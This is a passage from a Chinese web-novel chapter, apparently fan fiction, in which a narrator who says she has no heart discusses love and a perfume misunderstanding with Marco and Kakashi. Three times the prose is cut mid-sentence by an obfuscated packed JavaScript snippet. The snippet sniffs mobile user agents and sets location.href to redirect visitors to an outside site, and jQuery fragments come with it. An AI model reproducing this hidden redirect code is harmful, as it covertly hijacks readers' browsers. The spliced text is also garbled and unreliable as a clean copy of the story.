我不知道希望是什么,他说春的花、夏的月、秋的麦浪、冬的雪,我感受不到他所描绘的一切,但我知道那一定是很好的东西——因为每天都冷着脸的酷哥唯独说起这些的时候,脸上会油然浮现不自知的笑容。 我知道,人往往在开心的时候会笑。 那么很明显,修兵喜欢这些东西。 他反复告诉我那是极好的东西,他喜欢,他认为我也一定会喜欢。 很可惜我不能感受,所以他会一遍一遍地和我描述……修兵能当上主编,某种程度来说,我的愚钝功不可没。 “心跳声也是充满生命力的东西……像鼓点,非常有力量。” 我和马尔科讲。 我是在说它很好听,但马尔科的表情却充满了哀恸。 “你也想要一颗心,是吗?”他问了我一个奇怪的问题。 “……”我不知道该如何回答。 “怎么了?”马尔科摸了摸我的头,“这个问题不好回答吗?” “不是不能回答,只是……答案有点奇怪。” “说吧,没关系的。” “马尔科,严格来说,我没有心、没有感情、更没有‘喜欢’,”我可以告诉他,但我并不确定他是否可以理解,“不过有时候又不是这样。” “什么意思?” “就是……本应该没有‘喜欢’,但很奇怪,有时候又是有‘喜欢’的。” 马尔科皱着眉头。 他听不懂,我知道的,毕竟我自己也难理解。 对话不由得停下了。正是应该解释的时候,而我总是疲于解说。 马尔科思索了片刻,还是决定用问答的方式进行对话。 他问我:“你真的没有‘喜欢’的感受吗?” 我点点头:“是的。我没有感受。” “可如果没有喜欢的感受,为什么卡卡西和修兵都说你喜欢海鲜,而且就我所知,你真的很喜欢羊肉汤?是用了什么特别的方式确定的吗?” “是的,”他真聪明,我告诉他,“是菠萝测试。” “菠萝测试?” “对。” 这是在落魄以后突然发现的办法。 因为落魄了,没有那样的经济条件,只能在有限的范围里选择。所以在商场的柜台前,只能买一盒鲜切水果,却同时存在草莓和菠萝两种——我选了菠萝而不是草莓,就给菠萝记上一分。 第二天买鲜切水果,有菠萝和橘子——我选了菠萝而不是橘子; 第三天买鲜切水果,有菠萝和苹果——我选了菠萝而不是苹果; …… 我没有心,不存在偏心。但连续一周买鲜切水果,我却总是带回家了同样的东西。 “我没有‘喜欢’或‘讨厌’的感受,对我而言,菠萝和其他水果只有口感的区别。但我总是选择菠萝,是不是可以从某种意义上说明,我喜欢菠萝?”我问马尔科。 他笑起来:“嗯,听起来是喜欢菠萝。” 那就是了。我也笑起来:“所以有点奇怪——我分明没有心,但行为又表现出了一定的倾向性。” 按理说,有心才会有喜好,有喜好才会表现出倾向性。 而我没有心,却出现了“倾向”——这很奇怪,因果颠倒。 卡卡西发现了这个盲点后,拽着我连续测试了三个月。 测试结果是:我的确存在一些“无法被自己觉察的偏好”,但卡卡西对比着我心口的空洞一再研判,我又的确没有心。经过多方调研,这种偏好不知道明确的发生时间,但大概时间段是卡卡西到来后。 而卡卡西到来后,我身上最大的变化,正是那个自行填补了三分之一的洞口。 “……这样啊,”马尔科略一思索,“那是不是也代表了,事实上你也拥有喜好,只是因为没有心,没有办法感受,但它是存在的,对吗?” “是的。”我点头肯定。 他真聪明。卡卡西也这样认为。 天才卡卡西早早判断我没有心,却不是真正意义上的“没有”。 他认为自从我的心被进一步填补了之后,我现在的状态是“没有物理意义的心,但‘心’已经隐约有些苗头”,不过碍于我还没有物理意义的心,所以我仍然无法感受,对此一无所知。 我还是没有办法知晓自己的情绪。但这并不妨碍修兵和卡卡西开会探讨。 他们一拍即合,都认为我的心可以长出来。为此,提前向办事处递交了申请书,迎接了马尔科的到来……这些事,但凡我知道的,我都告诉马尔科。 我绝不会赶他走,绝没有这样的意愿。 我说真的,他从来都是我收获的“礼物”。 “是真的……”我伸手捧着他的脸,“马尔科,我很珍惜和你相识,绝对没有赶你走的意思!” “我知道,”他勾着嘴角,也伸出手,像我触碰他一样触碰着我。 交叠手臂遮挡了我的视线。屋子里却飘起轻柔的笑意。 “我也是,”马尔科认真地说着,“我也比想象中更珍惜大小姐,下午那会儿,我真的很惊讶……” “惊讶?” “嗯,”他无声地叹息,缓缓倾诉,“我是有喜欢的人,喜欢……原本是顺水推舟的事,我没有多想,只知道那种感觉一定是‘喜欢’。但下午你告诉我‘喜欢她就要离开这里’的一瞬间,我下意识的选择却是留在这里……” 他说那句我不理解的话,是他脱口而出的决策。 没有多想,没有权衡,纯粹是身体和意识同步的反应。 他的意思是,这句话像平地起惊雷,是他亲口说的,但说出口的话却反而颠覆了他自己的认知。 ……听起来有点绕。 可我却能理解,我比任何人都要明白——人真的很难认识自己。 对此马尔科并没有多解释。 无需解释,这句独白已经精准地触动了我。我觉得自己完全理解他。这和有没有心没有关系,只是单纯的我曾经经历过、我一直在经历的,对事件本质的共鸣。 “……我明白,”我告诉他,“晚上卡卡西说什么‘误会’,我也很惊讶,事情怎么和我认为的不一样?” 他也理解,一说就笑:“你误会成我喜欢经理?想要我和经理一起去生活?” “是的!” 我就是这样想,不是赶他走,是为他好。 如果他喜欢经理,想要和经理一起生活,那么离开我们家是最好的选择。如此,他才可以拥有一起生活的时间和空间——那是感情建立的基石。不仅是感情,万事万物都需要时间去孕育、空间去承载。 如果他注定能拥有爱情,那他的爱情绝不能是平地起高楼。一颗种子要发芽,总归需要一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951177|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的条件,我只是想要帮助他创造的条件,不希望泯灭他无限的可能。 道理……我都想过了,可我实在笨拙,没有办法一一表达。 除非他主动提起,我才会顺势想起,也顺势提及:“我原本都决定以后不和你一起了。” 马尔科一愣:“为什么?” 我告诉他:“你有喜欢的人了,总和我在一起会让人误会的。” 马尔科来临之前,经常和我在一起的卡卡西就总是被流言蜚语缠绕。 好在卡卡西没有喜欢的人。这些流言蜚语非但不会成为伤害他的矛,相反,“关系匪浅”的传言会成为保护他的盾,一方面有效地震慑牛鬼蛇神;另一方面也替他抵挡一些他避之不及却总是蜂拥而至的烂桃花。 我从不证明我和卡卡西的清白,和我传出绯闻是好事。 但马尔科不是卡卡西,他不需要和办事处打交道,流言蜚语只会毁掉他清白。 我想我还是有必要避嫌。 马尔科闻言却笑。 “不会啊……”他语气轻盈,满是感叹,却并不感伤,“我不是说了吗,如果喜欢她就要离开这里,那我不喜欢她了。” “可这不是在说,你和我关系很好嘛?” “不全是,”马尔科纠正道,“这句话就是字面意思——我觉得我不是喜欢她。” “哈?你……不喜欢了?”这说的是什么话,我很抱歉,我真的不理解。 爱意不是情比金坚的东西吗? 书里都这么写! “为什么?”我问他。 “我知道,”马尔科说,“你不是在赶我走,只是……为我好而已。但在我眼里,大小姐真的很重要。喜欢她就要从你身边离开的话,那我可以不喜欢她。” “……”这番话我还是不理解。 虽然我多少听出个中蕴含一点“他没有那么喜欢”的潜台词——如果我没有理解错的话。 “下午的时候,我真的很疑惑……那种感情真的是喜欢吗?”马尔科果然说着,用疑虑的口吻,“一直以来都自然而然地……发展,我以为感情就像种子,播种后缓慢生长,再结出果实,这整个过程就是‘喜欢’。可是如果喜欢的话,我为什么能放弃得这么果决?” 他是说他过去没有多想,直到下午,突如其来的反馈来源于自己,却惊到了他自己。 马尔科语气尚且平静,但拖长的口音透露出几分怅惘。 “我不是很清楚,不过我认为,如果我想留下来,那我可能不是喜欢她吧?即便是,或许也没有我想象中的那么喜欢。而且——” 马尔科未说“而且”。他望着我,一字一句地告白,先强调了一件事。 “我是认真的。” 他说他是认真的。 我并不理解他微妙的惆怅,但我认可他的理性的推论。 “至少说明,呆在大小姐身边比较重要,不是吗?”马尔科问我。 “是这样的,”我没有反驳。 的确是这样: 如果我为他萌生了典当珍珠的想法,那么就说明在事实层面,马尔科比珍珠更重要;如果他会因为不想离开而放弃喜欢的心情,那么也的确可以说明,或许他并没有他所认为的那么喜欢。 我已经可以理解了。何况他说“而且”—— 我虽然不懂得感情,但是略懂文学。 “而且”可以表示并列、递进,或者转折。 文学作品里,无论是出现并列、递进、还是转折,都代表前半句的投石问路,后半句的灵魂回响。 “而且……什么?” 我要听他说。马尔科却久久不言。 他看着我,尽管对我展露着笑容,却使我感受不到一点点笑意。 “而且……我们不是每天都在一起吗?”他悠悠地告诉我,“明明每天都在一起,我却根本不了解你。那或许,我也没有那么了解她。” 夜那么深沉。 他抱着我,唯独这一句伴随喟然的叹息。 55.21 审视(4) 我没有作声。或许是的,人总是不可能完全了解另一个人,即便朝夕相处。 如果能在茫茫人海中寻找到一个,哪怕只有一个,像我和修兵一样仅凭一个眼神就可以互通心意的人,无论他是什么人,那已是此生莫大的幸运了。 而这种幸运总归难得,所以弥足珍贵。 我想我已经明白马尔科的意思了。 “你想要重新审视这份感情吗?” “是啊,”他笑着回答,“我一点都不了解她却说什么喜欢……那不是太肤浅了吗?” 那样的“喜欢”只是一种自以为是的自我感动。我懂他的意思,但他为什么笑呢? 这又不是一个轻松愉快的话题,笑容即便出现在他脸上,看起来也只像是传说中的“故作轻松”——我琢磨着,忽闻一声叹息,马尔科演都不演。 我是没有心,没有感情,但我一直在学习,只要见过的情景大多可以理解。只有纯粹突发的事件我毫无头绪,会像无头苍蝇一样乱撞。 而马尔科这种表现,在每周一次的文化讨论会上修兵曾教过我——它是一种自嘲、惆怅与无奈。 离愁别绪,最是烦忧。才下眉头,却上心头。 我可以理解的,那是惆怅啊…… 即便我不能真正感受它,但只要我知道它是什么,它就不再是无法探知的黑洞,而是可以解决的问题——尤其对于我而言。 “可是,马尔科……” “恩?” 我无法安慰他的情绪,但我可以在他陷入困境时告诉他一些客观的道理。 我要提醒他:“喜欢和了解是截然不同的两码事,两者不存在充分必要的联系——如果喜欢发生在了解之前,就是一见钟情;如果喜欢发生在了解之后,就变成日久生情。理论上,了不了解并不影响喜不喜欢。” 喜欢难道不是一种“感觉”吗?我看小说上都这么写。 喜欢的发生毫无缘由,甚至根本是反理智的存在,所以“一见钟情”才尤其动人,充斥着历史洪流滚滚而过、人在其中扁舟一叶的宿命感。 喜欢就是喜欢,眼神碰撞出的火花无罪。 马尔科所谓的那种已经脱离“喜欢”的范畴了。 他对于自己的要求好高呀。高要求是好事,未经审视的人生不值得过,未经审视的感情也一样——但我想他没有任何必要因此苛责自己。 他是人,不是机器。他可以追求完美,却没有必要因为不够完美而自我攻击。 完全没有这个必要。 在我看来他未免太过温柔了,指向自己的矛头过分锐利。但我始终认为,温柔的人最应该被温柔对待。 我想要表达我的观点,审视固然是好事,但必须在没有矫枉过正的前提下。 “……我不太赞同你刚才的话,”我认为我有必要和马尔科谈一谈。即便我不是当事双方,但我也已经不可避免地左右了结局。 “嗯,那你说说看?”马尔科低下了头,愿意倾听。 “我认为对一个人不了解却心生出喜欢,这种喜欢本身并不‘肤浅’。” “喜欢本就没有理由,是一种微妙的‘感觉’,不存在逻辑和道理。就好像天上飘过一朵云,它形状特别,你感觉喜欢,喜欢就好,这种感觉自然而然,并不肤浅,你也不会因为喜欢一朵云,去深入了解它的过去……” 用“肤浅”这个词去形容和定义他的感情并不恰当。审视固然是好的,但没有任何必要尖锐地指向自己。 但我没有来得及开口,他先问我:“那你知道我在说什么吗?” “知道,”我点点头,“当然知道。” 我可太知道他在说什么了,毕竟恋爱小说里都这么写! 一见钟情也好,日久生情也罢,都不过是故事发生的形式,决定巧克力形状的模具。但撕开包装、送入嘴里,巧克力都是同一种口感,遵循了同一个剧本—— 首先是在某一个瞬间,一方对另一方,或者双方同时产生了“异样的情愫”; 然后产生了“吸引”:一方或者双方都带上“有色眼镜”,在情不自禁接近对方的过程中不断地发现对方的“优点”,诸多的优点逐渐塑造出一个足够优秀,以至于可谓“完美”的恋人; 接着会有一次特别的契机,可以发现对方“特别”的一面——这种“特别”可以是“可怜”“可爱”“可恨”……什么都好,它具体是什么并不重要,重要的是它的存在将会打破自诩“完美”的想象,使自以为是的爱恋真实落地; 最后,倘若能接受理想和现实的差距,能包容彼此的缺点,就会逐渐沉沦其中,不可自拔,由此,牢不可破的爱情产生了;而倘若不能,则触发Bad End结局。 马尔科对喜欢的人评价极高,想必已经过了第二阶段。 而他所谓的“审视”,在我看来,就是那场“特别的契机”。由此会揭开真相,马尔科也会借此机会,分辨“不完美的真实”和“完美的想象”。 于是他说的不是“喜欢”,而是“爱”。 因为经过真正的审视,那种欢呼雀跃的欣喜已不再单纯的情绪冲动;它经过了沉淀,层层解析,蜕变成泾渭分明的清晰认知和权衡过后的包容接纳。 那种感情将夹杂起冷静的思考,不再是一腔热血的火山喷发,会更像是喷发后地面上流淌的岩浆,仍然炽热,但又多了一份收敛,背负上了一份责任和义务。 喜欢是单纯的心跳,转瞬即逝的欢愉。 爱可不是。 我固然感觉不到它们的区别,但我看书,书上都这么写! “……只有通过考验的HE才是HE,否则一律按BE处理!” “HE?” “嗯,Happy End,两个人会在一起!” “是吗,”马尔科微微拧眉,“那就是说没有经过考验,在你这里并不算是一个好结局,是么?” “是的。”我不喜欢Bad End故事,我和修兵都是坚定的Happy End党。 因为根据恋爱心理学,起始阶段一定是迷恋上了一个“虚构”的人。 倘若不能在爱恋之后,坦然接受真实的对方,那意味着主人翁自始至终的感情都与对方无关。所谓的“爱情”也不过是一场“自以为是”的妄想,孤芳自赏的“表演”——他或许爱得如痴如醉,但他爱的终归是投影、是想象、是他自己。 他可能会想象着,并给幻想中的“爱人”买上一双粉红色的高跟鞋,然后送给一位失去双腿的小姐——即便主人公充满满满的爱意,那也不是恋爱小说,而是恐怖故事。 我不认可那样的感情,嗑CP的要点在于双方互动,绝不是哪一方的自我感动。身为“嗑学家”,我万分赞同马尔科的选择。 这很睿智——感情需要审视! 只有经过审视还始终如一的选择,才是真正的HE!否则只是虚假的繁荣,即便大结局时一团祥和、心心相印,执子之手、生死与共,大结局后也未必经得起风浪。 所以我是真的理解他。 我真的知道他在说什么,即便我没有心,也没有感情。 “真正应该被审视的是过多的幻想,但‘喜欢’的感觉本身没有错,对吗?” “嗯,对,”马尔科说,“是这样……” “既然如此,”我要纠正他不妥的用词,“你的喜欢不是肤浅的,不要这样说!所有的情绪都有其存在的意义!” “即便是自以为是的喜欢?” “当然了!”我脱口而出,“不是只有伟岸的情绪才是情绪啊……” “那样空泛的喜欢有什么意义呢?” “存在本身就是意义。” “可它是无用的存在。” “存在就是存在。有用无用只是人为的定义。” …… 马尔科都在说什么啊?他对我笑着,展露着乐观的面容,说着悲观的话语。 我的声音已经因为辩驳而加大。再这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958178|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么争论下去我可能会因为着急说话,又陷入类似于吵架的僵局。 那不是我想要的。 我收声了,乖乖缩回被窝里。 等激昂的辩驳声飘散了去,我再问他:“……马尔科,我不会解释,你明白我在说什么吗?” “嗯,我明白,”他目不转睛地看着我,精准总结道,“你在说……有必要审视现在,但没必要审判过去,是吗?” “是的!”我点头如啄米,“我还以为我没有表达清楚!” “没有,”马尔科否认了,“表达得很清楚,我有听明白。我只是觉得……” “什么?” “没什么。你平常不太说话,也很少和我聊这些……” “……”那倒是的。 我很少聊天,我又没有心,不会看眼色,我不知道究竟什么时候能聊?索性不聊。不聊是一种选择,不擅长沟通的人,最好的办法是少说少错。 譬如现在,我没有接话,但伸长脖子,把下巴轻轻地搁在他肩膀上。 马尔科看着我,哑然失笑:“我明白你的意思,关于‘喜欢’,我会好好地考虑一下。不过在那之前,我想先了解你——” “我?” “嗯,让我多了解你一点,好吗?” “……”为什么不呢?答案当然是好的呀! 但我还是充满了错愕,万万没有想到,我的优先级居然比爱情更高。 爱情是人类情感王冠上的宝石,是理智之树上的硕果。我在书上学到,多少人可遇不可求,终其一生上下求索。它绝对是珍贵的,为它舍弃一切都不算可惜。但马尔科居然会舍弃它,当天平另一端的砝码是我。 这非常不可思议。我并不认为自己有那样的“重量”。 即便马尔科早已明确告知我,比起和喜欢的人在一起,他更愿意留在我身边,当我再次确认时……仍然觉得很震撼。 我愣住了,久久没能回答。 “怎么又不说话?”如果我不说话,马尔科会点燃火焰,确认我的表情。 我想我的表情是目瞪口呆。当我看着他,他也看着我。 “怎么啦?”马尔科在笑,“不行吗?” “没有不行!”我不是,我没有,我只是太过惊讶。 这是一句浪漫的话! 可惜我没有心,不能“开心”。我只能听出字里行间对我的肯定——马尔科肯定了我,倘若我有心,我一定倍感荣幸。 既然如此,多说无益。 爱情是他的,我帮不上忙,还得马尔科自己去决定。我能做的只是在他不想聊的时候,不去闲聊;在他想了解我的时候,和他交换彼此的秘密。 我承诺:“你想知道什么?但凡我知道,我都会告诉你。” “那太好了,”他也承诺我,“如果你听不懂我说的话,不要闷在心里,过来问我。没有关系,我不会烦。” ……可是我没有心啊,笨蛋马尔科,我不会“闷在心里”。 不过算了,我理解,他只是想说让我们加强沟通而已。 “那我们说好了?” “嗯,说好了。” 既然说好了,空说无凭。我赶紧从他怀抱里挣脱,掏出了枕头下的小本本。 马尔科点燃了火焰。借着这道光,我趴在枕头上,赶紧把我们最新的约定记录下来——我怕我忘了,这件事我一定要记得。 “我和马尔科说好了,以后要加强沟通。” “如果不理解对方的说辞,要及时询问,直到理解对方的真实意愿为止。” “过程中,无论多少问题,问询双方都不可以‘算了’。” 写好了。我把笔塞到马尔科手里。 “你签字——” “什么?” “签字!签上你的名字,证明这是我们说好的!” “……好吧。” 他咧着嘴笑,接过小本本,在右下角洋洋洒洒地写下了他的名字——马尔科。 56.22 天窗(1) 我安心了——虽然我没有心。 既然马尔科肯签下他的名字,那就说明一切都不是我的幻想,我们的确都有和好的意愿。 他的字真好看。 同样是趴着写字,我控制不好力道,字迹歪歪扭扭像在跳舞;但他落笔雄浑有力,大开大合,非常有气魄。 我正在欣赏。 马尔科却把火灭了,催促我:“该睡觉了大小姐!” 我不想睡,无声地抗议。马尔科给出了一个我无法拒绝的理由—— “很晚了,先睡觉吧大小姐。熬夜会长黑眼圈……你说的呀,要漂亮,长黑眼圈就不好看了!” “……那好吧。” 那就睡吧。我乖乖缩回被窝,转过身,牵着他的手,塞进我的衣摆里。 马尔科瞬间会意,自行调整了姿势,用掌根压住了我的小腹。一股暖流从他掌根处涌入我体内,不死鸟的火焰不断地在我身体里清理和拔除。 它们很温暖,即便仍不足以对抗我体内强烈的寒意。 “还在疼吗?”马尔科问我。 “嗯,疼……”我咬着牙。 “知道了,”他明明就在我身后,声音却分外地缥缈,“睡吧……今天辛苦了……” “嗯……” 我是得睡了。 路口处的人家又在鸡鸣狗吠。不多时,外屋隐隐传来响动。脚步声沉闷,听来不同寻常。 但我有点困了,意识迷离,分不清那到底是修兵还是卡卡西?我只知道无论是他们之中的哪一个,都意味着已经超过了凌晨十二点——我该睡觉了,再不睡真的会变丑。 “我要睡觉了马尔科,我不要变丑……” “好的,”他忍着笑,“那晚安呢,大小姐。” “晚安……” “别说话了,快睡吧,傻瓜。”马尔科轻轻地抱着我。 “嗯……”我靠在他肩头,沉沉地闭上了眼。 …… 我的精力一直不算好。 比起卡卡西,我是一只“脆皮”;而比起修兵,卡卡西也算是“脆皮”;但比起马尔科,连修兵也是“脆皮”。 马尔科的体能在我们家登峰造极。在熬夜这件事上和马尔科相比较——那无疑是自取其辱。 往常我给自己划定了一条红线,不可以超过十二点睡觉。 昨晚事发突然,悬而未决。我不想让误会过夜,错误发生时,理应以雷霆之势亡羊补牢,如此方才为时不晚;拖延只会让局势僵化,以至于覆水难收,再无挽回之地。 偶尔一次熬夜,我想我应该能撑住——事实证明,我高估了自己的精力,也低估了自己的疲惫。 战斗是一种极端而纯粹的破坏。无论这场战斗发生在哪里,它都会极大程度的消耗战斗者的意志和体能——就连我都不能例外。 马尔科唤我睡。这一觉我睡到了次日中午。 前所未闻的大事件发生了!当我睡醒睁眼时,马尔科躺在我身边,甚至还在睡梦中酣眠。 我不知道昨晚他究竟几点睡觉?究竟睡没有?他面上浮现着少有的疲惫,往常连续两三天不睡觉也没见他脸上有过的。 胡茬一夜之间冒出许多,显得颓废又潦草。我伸手摸了摸——扎手。马尔科被我吵醒了,呵呵在笑。 “早啊,大小姐。” “早。” 不早了。窗外春光大盛。 阳光从窗帘的缝隙中钻进屋里,一直延展,从床尾再到床头。光像一把利剑,破开了这匣子一样四四方方的房间,余晖漫无目的散射,逼得黑暗无处遁形。 今天天气晴朗,是个名如其实的好日子。 马尔科全天没有课,伸着懒腰,陪我一起起床。我们去浴室洗漱。我在刷牙,马尔科刮胡子。闲来无事,他突然伸出胳膊,一把揽住了我的腰。 “大小姐?” “嗯?” “你饿了没有?”马尔科问我,“我包里有饼干,你先垫一垫肚子,好吗?” “……” 我点点头,好当然好了,不过马尔科可没有吃小零食的习惯。他哪儿来的饼干呢? 我倍感新奇,翘首以盼——他还真有,在他的书包夹层里,放着一袋花朵纹样的蔓越莓饼干。 精美的包装给我一种似曾相识的感觉。 我悟了:“别人送的吗?” “是啊,”他果然说道,“那天去现场问诊,附近的烘焙店送了饼干过来……盛情难却,只能收下了。” ——是和经理一起外出那天啊! 包装盒的缎带上隐约残留着一股清爽的果香。这个味道我还记得,这么说不是经理的香水吗?如果这不是经理的香水,那马尔科怀里沾染的…… “诶,你说的是店员服是小绵羊的烘焙店吗?”卡卡西突然探头。 十二点了,他居然也是刚起床。也不知道昨晚忙了些什么,一头银发无精打采地耷拉着,显得凌乱又潦草,一如马尔科的胡茬,给好端端的一张帅脸打上了“不修边幅”的颓废记号。 卡卡西的出现惊到我了,也惊到了马尔科。 “早啊,卡卡西。” “啊早~” “你今天没有上班?”马尔科发出了和我一样的灵魂一问。 “是啊,”卡卡西懒洋洋地走了过来,“今天休息,难得休息一天呢。” 工作狂从不休息,他突然说这话,意味着他又要接什么声势浩大的差事,接下来要忙碌几天。 办事处的任务是他全权负责,我从不过问,但仍有必要知道他的大概行程。 我点了点头,表示我已经接收到了他的信息。 马尔科不太了解办事处,并没有听出端倪。 “所以你说的是那家店吗?”当卡卡西自然而然地继续刚才的话题,“隔壁街区那家店员服是小绵羊的烘焙店?” “嗯,是啊!”马尔科顺着他的话题,给出了肯定的答复。 “我就知道是他们家,”卡卡西说,“那家店的老板人美心善,在附近好几个街区里都很有人气。” “是吗?”我怎么不知道? “是啊,”卡卡西敲了敲我的头,“你不知道是因为你很少出门,又不喜欢他们家的风格。” 那他们家是什么风格呢?我不知道啊,我需要卡卡西给我一个详细清楚的解释。 他就不,头一偏,和马尔科讲:“是不是老板娘抓住你了?” “!”马尔科虎躯一震,一切都在不言中。 客厅里回荡着卡卡西异常开怀的笑声。 “哈哈,那家店就是……主打一个盛情难却。但凡是公益类的活动叫他们家老板娘知道了,必然会派店员现场赞助一些小饼干什么。” “他们赞助得太多,附近居民还以为他们家跟办事处有什么特殊关系,不断地在办事处咨询——” “为这事,办事处上门找他们谈话了若干次,不要不请自来,到处分发小饼干。但盛情难却啊,每次上门的派遣员都要和老板娘推推拉拉。” …… 这已经算是当地一大特色了。虽然连办事处都深感为难,但也诚然是老板娘人美心善、热心公益事业。 卡卡西忍俊不禁。 “原来是这样,”马尔科眉头一皱,也不免笑着说起他那日的经历,“我说她怎么回事,知道的知道是送我礼物,不知道的还以为是吵架呢,衣服都快要给我拽坏了。” “哈哈哈!”卡卡西笑得合不拢嘴,“这事还真发生过!拽坏了好多套工作服!” “哈哈,居然还有这种事!” …… 他们都在笑,只有我笑不出来。我也在想,居然还有这种事? 真相居然是这样的!谈话间云开雾散,水落石出。原来真的是误会,这跟经理没有关系,马尔科身上的陌生香水大概是推攘间老板娘留下的。 卡卡西肯定了我的判断:“昨天闻到你身上隐约粘着一股果香,我估计你是遇到那家老板娘了。肯定又是拉拉扯扯、非得给你捎点东西吧?” “……呃,”马尔科一愣,没回话,连忙低头闻自己袖口。 一般来说,香水留香不会超过十二个小时。这都过了一天一夜,超过整整三十六个小时,既然他沾染到了一些味道,那味道也早已随时间散了。 事实上,果香形的香水原本用料就清浅,年轻女孩用香水,要诀在淡不在浓。 味道早散了。卡卡西能闻到是天赋使然——毕竟是八条忍犬的缔约者,多多少少在嗅觉上有点过人之处。 “你没有发现吗?”卡卡西在我发间深深吸了一口,“那股果香味甜得发腻,一闻就不是大小姐的香水。” 马尔科没有发现,哑口无言,后知后觉,连忙问我:“大小姐,你也闻到了?!” 我点了点头——闻到了,不仅闻到了,还误会了。 但这件事,那天我没有开口点破,今天也不知道该怎么说明。 卡卡西说的没错,我们之前的确有误会。 我和马尔科面面相觑,这误会只让我们啼笑皆非。 “嘛,女孩子就是这么敏感……就算闻到了也不会告诉你,只会给你打上一个‘背着她沾花惹草’的罪名……”卡卡西径自感叹,拍了拍马尔科的肩膀,“老实说,这一点上真的很羡慕修兵,他总能知道大小姐心里的想法——” “卡卡西,”我不得不叫停卡卡西,提醒他不要乱讲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970860|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要尊重客观事实。 “我心里没有想法——毕竟我都没有心。” “……唔!”而我只得到了卡卡西的一记爆栗。 “修兵不在就随便开地狱玩笑了?”卡卡西下手不重,扭头却和马尔科告状,“你看吧——真不知道她在想什么!” 卡卡西真不愧是天才! 上一秒还在石化的马尔科,这一秒油然地勾了勾嘴角。 石头一旦生出裂隙,再坚硬的外壳也会有土崩瓦解的余地。那是春风始解的迹象,就像雷鸣是万物复苏的前奏。 卡卡西耳目清明,一点就透。兜兜转转这半天,终于直入正题。 “说起来,误会已经解开了吧?” “嗯。”我们异口同声。 “这就好了,”卡卡西笑眯眯地把我们拽到一起,“喏,给——” “什么东西?” “拿着吧!” 也不知道他从哪里求来了一对御守,分别塞到我和马尔科的手里。御守上没有额外的刺字,但看那一粉一蓝的经典配色,我顿生一种不好的预感。 “不问我许了什么愿吗?”卡卡西挑眉看我。 “……”我不问,我想他不怀好意。 马尔科好心问他:“那你许了什么愿?” 卡卡西笑着拉住我的手腕,把我的手交到马尔科手里。 他的手非常温暖,每当我们牵着手,他总是习惯性地将我包裹在内。唯独这一次例外,卡卡西交付的方式特别,我不得已和他十指相扣。 “我许愿——今后你们把手牵好了,不要在家里制造冷气!” “都是一家人,要好好相处才是。不准吵架,知道吗?” “……” 我错怪卡卡西了,我以为他又要当可恶的大反派,可他居然只是操心我们相处不好。 怪只怪他笑眯眯的模样像极了曾经嗑我俩CP的样子,我误会了,是我不好,我当即表态。 “我会的!我会跟他一直牵着,不会放开!” “那就好,”他对我说,偏头却无奈地朝着马尔科呶嘴,“看吧,美少女,但傻瓜。” 马尔科但笑不言。 …… 昨晚没能一起吃晚饭,今天卡卡西难得闲暇,可以一起共进午餐。 家里从来没有剩饭,这时候进厨房准备,恐怕还没做好饭,我已经饿得昏过去了。 “点外卖吧!”我和卡卡西异口同声。 说是迟,那时快。 他熟练地递出了一叠订餐名片,让马尔科随意挑选。上面都是我们精挑细选的店铺,品质有保障。马尔科随便抽了一张,抽到商业广场附近的猪排店。 “喔!可惜了!”卡卡西讲,“上次路过,见到这家倒闭了。” “倒闭了?” “嗯,最近市场不景气,许多小店面都倒闭了……说起来不知道综合超市那家怎么样了?你们最近去过吗?他们也倒闭了吗?” 综合超市的猪排店就是我们最爱光顾的那家。每次过去,卡卡西都会和老板闲聊几句。 多少算是“熟人”,卡卡西开始了他火热的E人模式。 我是I人,这个问题可千万不要问我。 我躲在马尔科边上,让他全权代劳。 “呃……应该没有吧?”马尔科答,“上次去的时候那老板不是说,在考虑送外卖吗?” “哈?还有外卖业务?”卡卡西更来劲了,“你们有电话吗?中午就他们家好了!” “好啊,那我订餐——”没等我开口,马尔科突然掏出了一张名片。 我不知道他什么时候拿的,这甚至不是名片,是一串手写的电话号码。 他只管拨打过去订猪扒饭——老板热情非凡,答复就在附近,很快就送过来。且不用问,他知道我们要猪扒饭,还知道我们要多加一份猪扒。 电话挂了,马尔科看着我,神情古怪。 他问我:“老板好像知道是我们?” “……”但我怎么知道?管理员又不是万能的,我连他什么时候拿到了电话都不清楚。 我们面面相觑,倍感匪夷所思。 卡卡西没有作陪,转身正要去浴室洗漱,里屋忽然传出一阵奇异的脚步声。 “——谁在那里?!” 卡卡西一声呵斥,耷拉着的眼皮瞬间抬起来,警惕地挡在我们身前,摸出苦无严阵以待。 马尔科也第一时间把我拽到了身后,小心谨慎地盯住了声音的源头。 “吱呀”一声。 那道门缓缓打开,修兵忽然从门缝里探出头来。 